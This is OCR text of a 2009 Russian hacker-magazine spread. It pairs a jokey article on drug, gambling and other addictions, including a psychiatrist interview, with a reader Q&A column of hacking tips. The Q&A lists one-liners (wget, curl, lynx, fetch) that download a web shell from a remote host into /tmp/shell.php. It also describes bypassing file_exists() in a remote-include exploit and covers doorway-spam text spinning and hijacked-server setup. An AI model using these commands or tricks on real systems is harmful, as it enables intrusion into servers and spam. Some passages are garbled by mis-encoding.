ДЕНЬ ЗАВИСИМОСТИ (2009, VHSRIP)<br />
ПОЛНЫЙ ][-ГАЙД ПО ОСНОВНЫМ АДДИКЦИЯМ<br />
В отличие от ролевых игр, в реальной жизни не сразу понятно, какое количество хитов<br />
у монстров должно быть, чтобы защититься от заклинания «гипноз», какое количество<br />
единиц радиации ты сможешь перенести и сколько psycho с ментами выкушать.<br />
С<br />
егодня мы поговорим о таком вредном душевном состоянии,<br />
как «зависимость». Зависимости подразделяются на аддикции<br />
(умный синоним к слову «зависимость») к психоактивным<br />
веществам и нехимические. К первым, как нетрудно догадаться,<br />
относятся многочисленные нарко- и токсикомании, а ко вторым — целый<br />
сонм состояний, не имеющих прямого отношения к веществам — от<br />
гэмблинга до компьютерной зависимости (их мы рассмотрим ниже).<br />
Кстати, нехимические — не означает «легкие». Науке известно немало<br />
людей, загремевших с ними в самый настоящий дурдом.<br />
Для начала, на примере наркомании мы рассмотрим определение,<br />
основные причины и составляющие зависимостей как таковых, а во<br />
второй части статьи — разберемся с частными случаями нехимических<br />
зависонов.<br />
ПСИХОАКТИВНЫЕ ВЕЩЕСТВА<br />
К зависимостям от психоактивных веществ относят алкоголизм, наркомании<br />
и токсикомании. Общие для всех этих аддикций моменты:<br />
• психическая и/или физическая зависимость;<br />
• изменение толерантности.<br />
Психическая зависимость — состояние, при котором все мысли нарка по<br />
большей части оказываются занятыми либо переживаниями предыдущих<br />
трипов, либо предвкушением скорого приема новой дозы. Соответственно,<br />
сладостное предвкушение влечет за собой некий душевный<br />
подъем и чувство радости, а вот облом от невозможности эту самую<br />
дозу своевременно принять — наоборот, депрессивное, подавленное и<br />
«общехреновое» душевное состояние. Со временем вирусный алгоритм<br />
«Найти! Уколоть!» тотально поражает вычислительные способности<br />
мозга и подчиняет себе все поступки индивида.<br />
Разумеется, психическая зависимость формируется не сама по себе и не<br />
у каждого. Это — результат исходного душевного состояния (чаще всего,<br />
расстройств личности) и действия психоактивного вещества на соответствующие<br />
области в головном мозге (здесь я хотел употребить любимые<br />
в народе термины «дофамины», «катехоламины», «эндогенные опиаты»<br />
и «серотонины», — но вовремя одумался).<br />
Исходное состояние ума имеет большое значение, ведь не каждый<br />
человек, принимающий ПАВ, может считаться наркоманом — «экспериментаторы»,<br />
считающие, что в жизни надо попробовать все, способны<br />
без зависания пробовать разные вещества и больше никогда к ним не<br />
возвращаться; «эпизодические потребители» пробуют ПАВ изредка<br />
или по какому-нибудь поводу (в хорошей компании косячок раскурить,<br />
чарочку винца хмельного распить), но опять же, никакой зависимости<br />
у них нет, поскольку нет в их сознании доминирующей идеи принять<br />
любимое вещество снова. По-настоящему зависимые товарищи — это<br />
120<br />
наркоманы, торчащие (распивающие, играющие, нюхающие — нужное<br />
подчеркнуть) постоянно. Именно у представителей этой «группы» развиваются<br />
все три признака зависимости, из которых мы пока рассмотрели<br />
лишь один. Исправим ситуацию!<br />
Физическая зависимость — для простоты произнесу всего одно популярное<br />
в народе слово: «абстинентный синдром». Он же — «синдром<br />
лишения». Рассмотрим на примере. Если человек на утро после хорошей<br />
выпивки не в состоянии даже смотреть на бухло — он обычный парень,<br />
который вчера перебрал (и у него не абстинентный, а постинтоксикационный<br />
синдром — следствие перенесенного отравления алкоголем).<br />
Если же он чувствует потребность «поправить здоровье» еще одной порцией<br />
спиртного — это симптом алкогольной зависимости. Практически<br />
то же самое касается всех остальных веществ, вызывающих физическую<br />
зависимость.<br />
Есть и третий элемент в зловещей мозаике химических зависимостей.<br />
Называется он «изменение толерантности». Поясню на примере алкоголизма.<br />
Поначалу толерантность к выпивке у пьяницы растет — и вот ему<br />
уже под силу употребить гораздо больше спиртного, чем раньше. Из-за<br />
этого он может позволить себе смотреть свысока на «не умеющую пить<br />
школоту» :). Правда, затем оказывается, что школота избрала себе более<br />
правильную судьбину, а горький пьяница, вместе с переходом в третью,<br />
заключительную стадию алкоголизма, испытает «срыв толерантности»<br />
— вынос мозга с одной-двух рюмок (вместо, скажем, литра ранее).<br />
То же самое характерно для большинства химических и нехимических<br />
зависимостей — «аппетит растет во время еды». Например, дозы морфина,<br />
которая отправит в реанимацию чистого душой человека, матерому<br />
торчку для получения оттяга может быть недостаточно. Правда, торчки<br />
все равно рано или поздно достигают своего фатального (или не очень)<br />
передоза.<br />
ЗАВИСИМОСТЬ ОТ АЗАРТНЫХ ИГР<br />
Называется эта аддикция «лудоманией» или «гэмблингом». В нашей<br />
стране распространилась не так давно (по галактическому летоисчислению),<br />
совпав с бумом казино и игровых автоматов. Отличить патологического<br />
игрока от игрока обычного, эпизодического, просто — вспомни<br />
определение зависимостей. Игромания мешает нормальной жизни?<br />
Занимает непростительно много времени, отвлекая от учебы, работы,<br />
мытья посуды и чтения «Хакера» за завтраком? Соответственно, подопытный<br />
получает в довесок все типичные черты наркомана — проводит<br />
за игрой все больше и больше времени, теряет связи с нормальной<br />
социальной жизнью (95% оперативной памяти в головном конце его<br />
туловища постоянно заполнено мыслями о прошлых играх или предвкушениями<br />
будущих). Он постоянно повышает ставки (то есть, «дозу»),<br />
XÀÊÅÐ 04 /124/ 09
units<br />
Револьвер, стакан спиртного и фишки недвусмысленно намекают на<br />
сочетание аддикций и их возможные последствия<br />
ДИАГНОСТИЧЕСКИЕ КРИТЕРИИ<br />
ЗАВИСИМОСТИ ОТ ПАВ<br />
Бонус от международной классификации болезней 10-го пересмотра<br />
— диагностические критерии зависимости от психоактивных<br />
веществ (в т.ч., алкоголя). Имеешь больше 3-х признаков? Поздравляем,<br />
— диагноз!<br />
1. Сильная потребность или необходимость принимать вещество.<br />
2. Нарушение способности контролировать прием вещества — начало,<br />
окончание приема, дозировку.<br />
3. Появление синдрома отмены, требующего повторного приема<br />
вещества или его аналога.<br />
4. Признаки изменения толерантности — увеличение или уменьшение<br />
необходимой дозы зелья.<br />
5. Прогрессирующий отказ от альтернативных интересов в пользу<br />
употребления вещества.<br />
6. Продолжение приема вещества, невзирая на очевидные вредные<br />
последствия.<br />
становится лживым, агрессивным и раздражительным (попробуй<br />
насильственно отлучить гэмблера от однорукого бандита ;)). Дальше —<br />
может втравиться в криминальные дела для решения своих финансовых<br />
проблем. Весьма часто такие персонажи оказываются склонны к паразитированию<br />
на родственниках (с работы и учебы, если таковые вообще<br />
были, их нередко прут).<br />
СЕКСУАЛЬНАЯ АДДИКЦИЯ<br />
Наверняка, у тебя среди знакомых числится хотя бы один персонаж,<br />
очень трепетно относящийся к теме секса. Он часто меняет партнеров,<br />
много говорит и думает о всяких срамных вещах, тусуется по разным<br />
ночным учреждениям вроде клубов и вообще, очень озабочен интимной<br />
стороной человеческих взаимоотношений. Прямо скажем, человек этот<br />
больным не выглядит, а в общении и сам способен объявить больным<br />
любого собеседника, поскольку всем ясно, что трахаться — это круто!<br />
«Пока вы тут со своими постоянными девушками (а то и женами, хе-хе)<br />
месяцами занимаетесь своими унылыми интимными телодвижениями,<br />
я тусуюсь, трахаюсь и живу полной жизнью». Что же в этом плохого? Если<br />
мы говорим об аддикции, то плохо тут следующее:<br />
• Подобное поведение — следствие расстройства личности и/или<br />
неадекватного воспитания, в процессе которого нашему испытуемому<br />
почему-то стало казаться, что единственное, чем он может быть заметен<br />
Наркотическая зависимость — заболевание, характеризующееся<br />
патологическим влечением к различных психоактивным веществам,<br />
развитием зависимости и толерантности<br />
в жизни — это секс. Не исключено,<br />
кстати, сексуальное<br />
насилие в детстве.<br />
• Общий фон настроения таких<br />
персонажей часто низкий,<br />
иначе говоря — до (и после)<br />
приема очередной «дозы» они<br />
находятся в депрессии, у них<br />
повышен уровень тревоги.<br />
• По сути дела, наш подопытный<br />
асоциален, и его способностям<br />
к сотрудничеству и<br />
Героин от компании Байер (прославилась<br />
аспирином). Очень по-<br />
совместному проживанию с<br />
другими людьми позавидовать пулярное лекарство в свое время<br />
нельзя. Что я подразумеваю в было :)<br />
этом контексте под асоциальностью?<br />
Перечислю ключевые слова: разгильдяйство,<br />
склонность к кидалову, эгоцентризм, тенденция рассматривать<br />
окружающих в качестве сексуальных партнеров и отсутствие<br />
толкового интереса к чему-либо кроме секса. В общем, все, как и в любых<br />
других зависимостях — в голове только одна доминирующая мысль<br />
и одна линия поведения. О работе, творческой деятельности и взятых на<br />
себя обязательствах в подобных условиях думать трудно.<br />
• Беспорядочный трах, от которого нас предостерегал еще Лука Мудищев,<br />
ведет к заражению болезнями, которые наши с тобой героические<br />
предки называли «гусарским насморком». Правда, о гепатитах и СПИДе<br />
тогда еще не знали.<br />
• Эта зависимость с большой частотой сочетается с другими — наркоманией<br />
(ну, как не нюхнуть кокаинчика или не закинуть на кишку немножечко<br />
спидов?), гэмблингом, шопоголизмом и тому подобными.<br />
Кстати, хочу тебя предостеречь от преждевременных суждений — не<br />
каждый субъект, у которого бывает более одного партнера за месяц,<br />
может считаться зависимым. Может, просто стиль жизни такой :).<br />
РАБОТОГОЛИЗМ<br />
С самого момента основания «zакера», еще при SINtez’e, мы вынашивали<br />
секретный план наводнить штат журнала безумными трудоголиками,<br />
спекулируя на их стремлении убежать от реальности, погрузившись в<br />
работу, на страхе показаться некомпетентными, на гипертрофированной<br />
ответственности за результат («как же они там без меня справятся?»)…<br />
не вышло. Мы пробовали бомбардировать мозг авторов медленными<br />
нейтронами и воздействовать на них токами высокого напряжения и<br />
сверхнизкой частоты — ничего не получилось. Как они были разгиль-<br />
XÀÊÅÐ 04 /124/ 09<br />
121
units<br />
Игра в компьютерный преферанс с ЭВМ еще никого не сделала аддиктом,<br />
а мозги прочищает не хуже тетриса :)<br />
дяями, так и остались. А может, оно и к лучшему? Ведь работоголик<br />
представляет собой организм довольно зомбированный, контркреативный<br />
(да-да, крутую тему для статьи и ништяковый дизайн обложки он<br />
придумать, скорее всего, неспособен) и невеселый. Посмотрел бы я на<br />
тебя, будь ты работоголиком! Веселиться тут трудно — пришел на службу<br />
с утречка, ближе к ночи свалил домой, а дома что? Дома ждет унылая<br />
ругань с родичами. Причем, он их прессует по полной — для оправдания<br />
своей зависимости у него есть целая легенда, с которой не поспоришь:<br />
и деньги-то он зарабатывает, и карьеру делает, и работает один во всем<br />
офисе, поскольку все дураки, а только он умный. Одним словом, работоголикам<br />
нужна психиатрическая помощь.<br />
В 11-й серии 1-го сезона «Доктор Хаус» абстинентный синдром мешает<br />
главному герою мыслить здраво и может стать причиной смерти пациента<br />
физическое насилие со стороны родных и близких?<br />
КОМПЬЮТЕРНАЯ АДДИКЦИЯ<br />
Скрывать нечего — мы с тобой хорошо знаем, что собой представляют<br />
эти сомнительные, зависимые от персональной электронновычислительной<br />
машины, люди :). Кто-то дни и ночи напролет проводит<br />
в линеечку, контру и вовец, забывая про сон, еду и завтрашнюю сессию,<br />
кто-то отвисает на форумах до тех пор, пока в интернетах не кончатся<br />
несогласные с ними люди, а иные, особо злокачественные персонажи,<br />
слишком увлекаются рассматриванием голых женщин или даже<br />
вульгарно-натуралистических изображений половых актов все в той<br />
же многострадальной Сети. Поэтому, друг мой, я не буду тебе ничего<br />
рассказывать о компьютерных аддиктах (кто хочет — пусть гуглит на<br />
предмет терминов «хикки», «нерд», «задрот» и т.п.). Вместо этого я<br />
немного побеседовал со специализирующимся на этой зависимости<br />
врачом-психиатром, психотерапевтом, к.м.н., СНС московского НИИ<br />
психиатрии, преподавателем и консультантом Института психотерапии и<br />
клинической психологии, Виталиной Александровной Лоскутовой.<br />
z Есть ли информация, какие зависимости из группы «компьютерных»<br />
сейчас лидируют? Игры, интернет-общение и прочее?<br />
В.А. Возможно, существует более точная статистика, а навскидку могу<br />
сказать, что лидируют интернет-общение и интернет-игры (что, по сути, и<br />
есть то же самое интернет-общение, только в контексте игры).<br />
z Известно, что тесты для выявления этой аддикции существуют. А что<br />
делать тем, у кого сей тест на беременность окажется положительным?<br />
В.А. Обращаться к психотерапевту (ïñèõîòåðàïåâò ó íàñ â ñòðàíå<br />
— ýòî ïñèõèàòð, ïðîøåäøèé äîïîëíèòåëüíîå îáó÷åíèå ïî ïñèõîòåðàïèè<br />
— Ïðèì. ðåä.). Только давайте все-таки определим рамки<br />
аддикции: мы говорим о сформированной зависимости, как о проблеме,<br />
требующей решения (лечения), тогда, когда страдает физическое или<br />
психическое здоровье, или социальная жизнь — работа, учеба, отношения<br />
с родными/друзьями и так далее.<br />
z А нельзя ли справиться своими силами или силами окружающих? Например,<br />
лечебное привязывание, электротерапия в домашних условиях,<br />
В.А. Возможно, — и я знаю подобные случаи. Для этого нужно, чтобы<br />
человек осознал наличие проблемы и имел желание ее решить. Хорошо,<br />
когда зависимого человека поддерживают близкие. При этом насилие<br />
категорически противопоказано. Вообще, с зависимыми плохо работают<br />
стратегии защиты и контроля, а хорошо — стратегия сотрудничества.<br />
z А в каких медицинских учреждениях стоит искать исцеление? Платно,<br />
бесплатно?<br />
В.А. В психоневрологическом диспансере или наркологическом диспансере<br />
по месту жительства и некоторых районных поликлиниках —<br />
психотерапевтическую помощь можно получить бесплатно, а за деньги<br />
— в медцентрах. Кроме того, получить бесплатную помощь по направлению<br />
ПНД или НД можно в Московском НИИ психиатрии, Национальном<br />
научном центре наркологии или в ГНЦССП им. Сербского.<br />
z А в чем заключается лечение?<br />
В.А. Психотерапия — в обязательном порядке, медикаментозная терапия<br />
— по показаниям.<br />
z Но бить и привязывать к кровати точно не будете?<br />
В.А. Если будете себя хорошо вести — нет.<br />
ШОПОГОЛИЗМ<br />
Слово, как бы намекающее на «-голизм, вызванный шопингом», появилось<br />
в нашем лексиконе относительно недавно (подозреваю, без влияния<br />
зомбоящика не обошлось!), а в целом, проблемой «аддикции к трате<br />
денег» психиатры занимаются уже около семнадцати лет (предпосылки<br />
возникли и того раньше). Как нетрудно догадаться, эта зависимость<br />
поражает умы преимущественно представительниц прекрасного пола<br />
(более 90% страдающих — женщины), и проявляется она совершенно<br />
непонятными для мужского мозга вещами, такими как:<br />
• Склонностью к совершению большого количества покупок, в том числе,<br />
явно не нужных и совершенных в долг (вопросы выплат по кредитам в<br />
статье не рассматриваются; они всплывут позже, возможно, даже став<br />
122<br />
XÀÊÅÐ 04 /124/ 09
units<br />
В фильме «Шопоголик» (снятом по одноименной серии книг) молодая<br />
девушка, помешанная на шопинге и дорогой одежде, живет в состоянии<br />
войны между своим банковским лимитом и искушениями большого<br />
города<br />
причиной короткого раскаяния, которое все равно к излечению не приведет).<br />
• Имеют место вспышки острого желания что-нибудь да приобрести.<br />
Отсутствие возможности реализовать это желание приводит аддикта в состояние,<br />
схожее с ощущениями наркомана, который не может принять дозу.<br />
• Ясное дело, что «покупочная аддикция» серьезно мешает повседневной<br />
жизни, в том числе и тем, что наша подопытная может провести в магазине<br />
гораздо больше времени, чем планировалось (если она вообще<br />
планировала туда идти), и потратить там много денег. Либо, как я уже<br />
говорил, влезть в кредит, который непонятно кто потом будет отдавать.<br />
Кстати, бывает так, что даже самый обычный и нормальный человек,<br />
зайдя в гипермаркет купить пару пива и чипсов с креветками, вдруг<br />
обнаруживает себя на кассе с корзинкой товаров и чеком на 4-8 тысяч<br />
деревянных. Почему так происходит? Послушаем бедолагу. «Все это<br />
было мне нужно, — лепечет он. — Штаны новые нужны, вроде и сока<br />
купить тоже надо было... жаль, что не продавался по одному — пришлось<br />
ящик взять. Опять же, молока, мяса, консервов… разве ненужные<br />
вещи?». Формально — нужные, но собирался чел ведь только за пивом<br />
и креветками. Чтобы не оказаться в положении старшеклассницы,<br />
зомбированной ассортиментом гипермаркета, заранее планируй, что<br />
требуется купить, пиши на бумажку список «маст хев» (купил — поставь<br />
галочку. Нужно что-то еще? Обойдешься! Забыл вписать в список — теперь<br />
страдай) и ставь финансовый лимит, который ни при каких условиях<br />
не будешь превышать. Даже если деньги в кошельке есть. А лучше — вообще<br />
не бери с собой лишних денег, пусть дома лежат. z<br />
ЗАВИСИМОЕ РАССТРОЙСТВО<br />
ЛИЧНОСТИ<br />
Люди, отягощенные этим расстройством, несамостоятельны,<br />
зависимы от чужой точки зрения (которую принимают, даже осознавая<br />
собственную правоту, — из страха быть отвергнутыми) и<br />
неспособны к самостоятельному принятию решений. Часто они<br />
«прицепляются» к человеку, в тени которого живут, или образуют<br />
созависимость с другим аддиктом. Например, почему так выходит,<br />
что жена продолжает жить с совершенно асоциальным мужемалкоголиком,<br />
который ежедневно бухает, распускает руки и живет<br />
на ее бабло? Потому что образовалась созависимость. Своими силами<br />
ее разрушить трудно.<br />
Сам понимаешь, первейший кандидат на любую зависимость — это<br />
человек с соответствующим расстройством личности. Эти же люди<br />
(вместе со страдающими истероидными расстройствами) составляют<br />
львиную долю публики, зависимой от сект и полурелигиозных<br />
организаций (в качестве отдельной аддикции «сектозависимость»<br />
пока не выделяют).<br />
XÀÊÅÐ 04 /124/ 09<br />
Один из плакатов Фонда борьбы с наркотической зависимостью: «Экстази.<br />
Присоединитесь к уникальной лотерее, которая дает возможность<br />
выиграть в качестве приза ДТП»<br />
ЧАСТНЫЕ СЛУЧАИ<br />
ЗАВИСИМОСТИ ОТ ПАВ<br />
• Опийная наркомания. К опиатам относятся морфин (он же<br />
«Морфiй»), героин, омнопон, промедол и метадон. Зависимость от<br />
опиатов — одна из самых тяжелых, развивается довольно быстро<br />
— например, для морфия это, в среднем, 10 уколов, для героина —<br />
3-5, а то и меньше. Принимают опиаты как путем внутривенного<br />
вштыривания, так и — вдыхая порошок (героин) или закидываясь<br />
таблетками (кодеин, который входит в состав средств от кашля).<br />
Начинающих наркоманов привлекает приятный «приход» с ощущением<br />
«теплой волны и удара в голову» и, собственно, состояние<br />
опьянения — ощущение удовольствия, легкости мыслей и чувств,<br />
мелькание приятных образов. Это да, привлекает. Обламывают последствия<br />
— тоскливо-злобное настроение после наркотического<br />
эпизода, развивающаяся психическая и физическая зависимость.<br />
• Производные конопли. Травку, гашиш и гашишное масло, как<br />
известно, курят и употребляют в пищу. Для этой наркоты имеет<br />
большое значение «установка на кайф», случайно выкуренная<br />
папироска часто не вызывает никаких ощущений. Зависимость от<br />
нее развивается медленно, первой — психическая, а через 2-3 года<br />
следует и физическая. Поэтому большинство употребляющих так и<br />
остаются в группе эпизодических потребителей.<br />
• Кокаин. Ватсон, подайте мне мой несессер с кокаином, в Лондоне<br />
осталось совсем мало настоящих преступлений! Действие кокаина<br />
— стимулирующее и возбуждающее (да-да, в том числе и сексуально<br />
возбуждающее!). Довольно быстро развивается психическая<br />
зависимость, следом идет физическая. Кокаин дорог, а здоровье<br />
поправлять надо (после опьянения неизбежна посткокаиновая<br />
депрессия). Деньги наш подопытный спускает быстро, в ход идет<br />
барбитура, алкоголь, транки и антидепрессанты. В общем, не очень<br />
это все полезно для организма.<br />
• Психостимуляторы. Экстази (love drug), фенамин, метафетамин,<br />
эфедрин. Честное слово, недавно в каком-то мужском журнале видел<br />
гайд по злоупотреблению экстази. Отличная идея, экстази имеет<br />
двойное действие — оказывает стимулирующее-возбуждающее<br />
и галлюциногенный эффект. Экстази часто бодяжат с другими веществами<br />
или просто разбавляют побелкой. В литературе описаны<br />
случаи внезапной смерти от острой почечной недостаточности или<br />
кровоизлияния в мозг.<br />
123
units<br />
МАГ<br />
/ ICQ 884888 /<br />
FAQ UNITED:<br />
Q: Существует куча php-классов для синонимизации<br />
(замены отдельных слов — синонимами)<br />
текста. А нет ли сервисов для онлайнсинонимизации?<br />
A: Разнообразить свой дорвейный текст<br />
синонимами, что называется, не отходя от<br />
кассы, можно на ресурсах turnkeyhero.com/<br />
replacer_tester.php или spinnertool.com, которым<br />
пользуюсь лично я. А вот и пример онлайнсинонимизации.<br />
Передаем на вход сервису<br />
следующий текст:<br />
You Can Quickly And Easily Rewrite<br />
Your Content And Drive More And<br />
More Ultra-Responsive Targeted<br />
Traffic To Your WebSite — Even If<br />
You Are A Newbie!<br />
И получаем в ответ уникальный тест, созданный<br />
автоматическим копирайтером:<br />
You Can Quickly And Colloquialism<br />
Writing Your Accumulation And<br />
Propulsion More And More Ultra-<br />
Responsive Targeted Assemblage To<br />
Your WebSite — Even If You Are A<br />
Newbie!<br />
Неплохо для бесплатного сервиса, не правда<br />
ли?<br />
Q: Как создать автонаполняемый блог?<br />
A: Обычно для всяческих WordPress-блогов<br />
используются плагины, которые оперируют<br />
чужими RSS-лентами, преобразуя их в посты.<br />
Как быть, если ты создаешь блог на blogspot.<br />
com, wordpress.com и иже с ними? Все очень<br />
просто! Понадобится всего лишь такая фича<br />
блогохостингов, как постинг по e-mail, все те же<br />
стыренные RSS-ленты, а также сервис вроде<br />
www.rss2email.ru.<br />
Итак, создавай новый блог, находи постинг по<br />
e-mail (на блогспоте ты получишь специальный<br />
e-mail, куда нужно будет присылать посты, а на<br />
вордпрессе — должен будешь ввести параметры<br />
доступа к любому своему ящику). Затем иди<br />
на www.rss2email.ru и добавляй новые ленты<br />
новостей со своим мылом. Через некоторое<br />
время с удивлением увидишь, что твой новоявленный<br />
блог, как по волшебству, растет и<br />
наполняется :).<br />
Не надо забывать и о замечательном сервисе<br />
Yahoo Pipes (pipes.yahoo.com), позволяющем<br />
творить чудеса с различными RSS-потоками,<br />
а также просто информацией с произвольных<br />
веб-страниц, как угодно манипулируя данными.<br />
Причем, для этого не обязательно быть гуру в<br />
программинге и скрипто-строении: для кодинга<br />
используется графический подход, а именно<br />
— набор элементов, которые надо разместить<br />
на рабочем поле, нужным образом связать и<br />
задать параметры. Подробнее читай в статье<br />
«Интернет на одной странице» (z#110).<br />
Q: Подскажи, как определить, находится ли<br />
мой дедик за натом?<br />
A: Очень просто! Заходи в «Start Run <br />
ipconfig» и смотри вывод команды. Дедик<br />
находится за NAT, если висит на одном из IPдиапазонов:<br />
10.0.0.0 — 10.255.255.255<br />
172.16.0.0 — 172.31.255.255<br />
192.168.0.0 — 192.168.255.255<br />
Q: Как обойти проблему дисконнекта через n<br />
минут на моем дедике?<br />
A: Допустим, твой логин на дедик Lopa. Тогда<br />
для тебя неприятность с вырубанием сессии<br />
лечится достаточно легко: My Computer Правая<br />
кнопка мыши Manage — Local users and<br />
groups Users Твой акк Правая кнопка<br />
XÀÊÅÐ 04 /124/ 09<br />
124
units<br />
мыши Properties Sessions. На этой вкладке<br />
везде ставь «Never». Также проверь в Run <br />
tscc.msc RDP следующие значения вкладок:<br />
net accounts /forcelogoff:no<br />
net accounts /maxpwage:unlimited<br />
Q: Хочу создать свою блого-социальную сеть<br />
наподобие Хабра. Как проще это сделать?<br />
A: Если не хочешь заморачиваться с написанием<br />
собственного движка, то могу посоветовать<br />
готовое бесплатное решение LiveStreet (http://<br />
livestreet.ru) от программера Максима Мжельского<br />
(aka ort).<br />
Основные возможности движка:<br />
• Èñïîëüçîâàíèå UTF-8<br />
• Âåäåíèå ïåðñîíàëüíûõ áëîãîâ<br />
• Âîçìîæíîñòü ñîçäàíèÿ êîëëåêòèâíûõ<br />
áëîãîâ<br />
• Ñèñòåìà ðåéòèíãîâ áëîãîâ, òîïèêîâ,<br />
êîììåíòàðèåâ, ïîëüçîâàòåëåé<br />
• Ñèñòåìà ãîëîñîâàíèÿ çà áëîãè, òîïèêè,<br />
êîììåíòàðèè, ïîëüçîâàòåëåé<br />
• Âîçìîæíîñòü äîáàâëÿòü òîïèêè â<br />
èçáðàííîå<br />
• Àâòîïîäñòàíîâêà òåãîâ<br />
• Êîëëåêòèâíàÿ âíóòðåííÿÿ ïî÷òà<br />
• Ñèñòåìà êîíòðîëÿ äîñòóïà (ACL) ê<br />
ðàçíûì âîçìîæíîñòÿì ñåòè (ñîçäàíèå<br />
áëîãà, ãîëîñîâàíèå è ò.ï.)<br />
• Âîçìîæíîñòü ñîçäàòü çàêðûòûé ñàéò<br />
• Ñèñòåìà èíâàéòîâ<br />
• Òîïèêè-ññûëêè<br />
• Òîïèêè-îïðîñû<br />
• Àäìèíèñòðèðîâàíèå ñâîèõ áëîãîâ<br />
• Íàçíà÷åíèå ìîäåðàòîðîâ áëîãîâ<br />
• Íàñòðîéêè îïîâåùåíèé íà e-mail<br />
А если ты решил создать тематическое сообщество<br />
и сделать его похожим, скажем, на<br />
VKontakte.ru, то можешь использовать часть<br />
движка. API для создания социалки, а также<br />
пример подобного ресурса бесплатно доступны<br />
на сайте userapi.com.<br />
Q: Нашел удаленный инклуд в одном замечательном<br />
скрипте, но все дело портит функция<br />
file_exists(). Есть ли способы ее обойти?<br />
A: Такие способы действительно есть! Раскопал<br />
их один из лидеров Античата .Slip (за что<br />
ему пожизненный респект!). Все дело в том,<br />
XÀÊÅÐ 04 /124/ 09<br />
что, начиная с PHP 5.0.0, функция file_exists()<br />
может работать с упаковщиками урл. Не только<br />
с «ftp://», но так же и с «php://memory», «php://<br />
temp», «ssh2.sftp://».<br />
Следующий скрипт выведет нам true!<br />
<br />
Подробнее об этом векторе атак на веб-приложения<br />
советую прочитать в топике .Slip’а:<br />
http://forum.antichat.ru/thread99589.html.<br />
Q: Скачал с какого-то сайта дизайн в psd. Как<br />
бы теперь преобразовать его в css и html?<br />
Платить верстальщикам не хочу.<br />
A: Попробуй бесплатный онлайн-сервис http://<br />
www.psd2cssonline.com.<br />
Для начала проверь в фотошопе, соответствует<br />
ли твой дизайн следующим требованиям<br />
сервиса:<br />
1. Дизайн не изобилует слоями.<br />
2. В дизайне используются только 8-битные<br />
RGB пикчи (16-битные и выше не поддерживаются).<br />
3. В дизайне отсутствуют невидимые слои.<br />
4. Psd-файл с дизайном весит не более 4 метров<br />
(8 — для платных юзеров).<br />
Расширенную версию требований на английском<br />
языке смотри тут — www.psd2cssonline.<br />
com/node/9.<br />
Все нормально и соответствует этим пунктам?<br />
Тогда смело загружай в форму «Upload your<br />
PSD» в шапке сайта свой многострадальный<br />
дизайн и наслаждайся результатом!<br />
Q: Какие еще существуют никсовые качалки,<br />
полезные для нашего брата (кроме curl и<br />
wget)?<br />
A: Вот простейший синтаксис всех распространенных<br />
качалок для никсов:<br />
lynx: lynx -source "http://site.<br />
com/shell.txt" > /tmp/shell.php<br />
links: links -source "http://site.<br />
com/shell.txt" > /tmp/shell.php<br />
wget: wget -O /tmp/shell.php<br />
http://site.com/shell.txt<br />
GET: GET http://site.com/perl.txt<br />
> /tmp/shell.php<br />
fetch: fetch -o shell.php http://<br />
site.com/shell.txt<br />
curl: curl --output shell.php<br />
http://site.com/shell.txt<br />
Q: Я забыл свой админский пассворд на Винду!<br />
Что делать?<br />
A: Используй тулзу Offline NT Password &<br />
Registry Editor (home.eunet.no/~pnordahl/<br />
ntpasswd).<br />
Из особенностей утилиты:<br />
• Ñáðàñûâàåò ïàðîëü ëþáîãî þçåðà,<br />
êîòîðûé èìååò âàëèäíûé àêêàóíò íà<br />
òâîåé ñèñòåìå Windows NT/2k/XP/<br />
Vista<br />
• Ìîæíî íå çíàòü ñòàðûé ïàðîëü äëÿ<br />
óñòàíîâêè íîâîãî<br />
• Óòèëèòà ðàáîòàåò offline, òàê<br />
÷òî òû äîëæåí òîëüêî ðåáóòíóòü ñâîé<br />
êîìïüþòåð ñ ôëîïèêà, CD èëè êàêîéíèáóäü<br />
äðóãîé ñèñòåìû<br />
• Óòèëèòà ñìîæåò íàéòè è ðàçáëîêèðîâàòü<br />
çàëî÷åííûå èëè îòêëþ÷åííûå<br />
àêêàóíòû<br />
Удачи!<br />
Q: Хочу организовать свой сервис для восстановления<br />
md5-хешей, но, в то же время,<br />
не хочется заниматься генерацией радужных<br />
таблиц. Где бы скачать уже готовые<br />
таблицы?<br />
A: В формате торрентов их можно скачать<br />
здесь: http://rainbowtables.shmoo.com.<br />
Сервис предлагает следующие rainbow tables:<br />
1. Большие буквы латинского алфавита;<br />
2. Большие буквы латинского алфавита +<br />
цифры;<br />
3. Большие буквы латинского алфавита + цифры<br />
+ спецсимвол.<br />
Также хочу порекомендовать софт для генерации<br />
данных таблиц (если ты не захочешь их качать)<br />
— RainbowCrack 1.2 (http://www.antsight.<br />
com/zsl/rainbowcrack).<br />
А вот примерные размеры различных rainbow<br />
таблиц:<br />
[ABCDEFGHIJKLMNOPQRSTUVWXYZ] — 610<br />
MB (8353082582 çàïèñåé);<br />
[ABCDEFGHIJKLMNOPQRSTUVWXYZ012345<br />
6789] — 3 GB (80603140212 çàïèñåé);<br />
125
units<br />
[ABCDEFGHIJKLMNOPQRSTUVWXYZ01234<br />
56789!@#$%^&*()-_+= ] - 24<br />
GB (915358891407 çàïèñåé);<br />
[ABCDEFGHIJKLMNOPQRSTUVWXYZ0<br />
123456789!@#$%^&*()-_+=~'[]<br />
{}|\:;"',.?/ ] — 64 GB<br />
(7555858447479 çàïèñåé);<br />
[abcdefghijklmnopqrstuvwxyz012<br />
3456789] — 36 GB (2901713047668<br />
çàïèñåé).<br />
Q: Замучался уже обновлять свой ICQ-клиент<br />
из-за постоянных смен протокола AOL’ом.<br />
Как оставаться онлайн, несмотря на все их<br />
козни?<br />
A: Если ты любишь пользоваться альтернативными<br />
асечными клиентами и ни в коем случае<br />
не хочешь ставить официальную ICQ 6.5 (что<br />
правильно), то могу посоветовать один из способов<br />
от админа Асечки .pin’а. Итак:<br />
1. Заходи на http://ru.toonel.net и скачивай<br />
Windows-версию клиента, не требующую Java<br />
(вес 2.0 MB);<br />
2. Устанавливай и запускай скачанную программу;<br />
3. Заходи на вкладку «Порты», удаляй все,<br />
кроме «127.0.0.1»;<br />
4. Выделяй «127.0.0.1» и проверь поле «локал.<br />
порт». Если цифра 8090 тебя устраивает — оставляй;<br />
нет — меняй на любой другой удобный<br />
тебе порт;<br />
5. Теперь заходи в свой асечный клиент, в<br />
раздел с настройками сети, устанавливай<br />
галку «Использовать прокси», тип «https»,<br />
хост «localhost», порт 8090 (ну или тот, который<br />
ты выбрал раньше). Дальше — отмечай галку<br />
«Использовать DNS на прокси» и сохраняй<br />
новые настройки;<br />
6. Перелогинивайся и наслаждайся общением.<br />
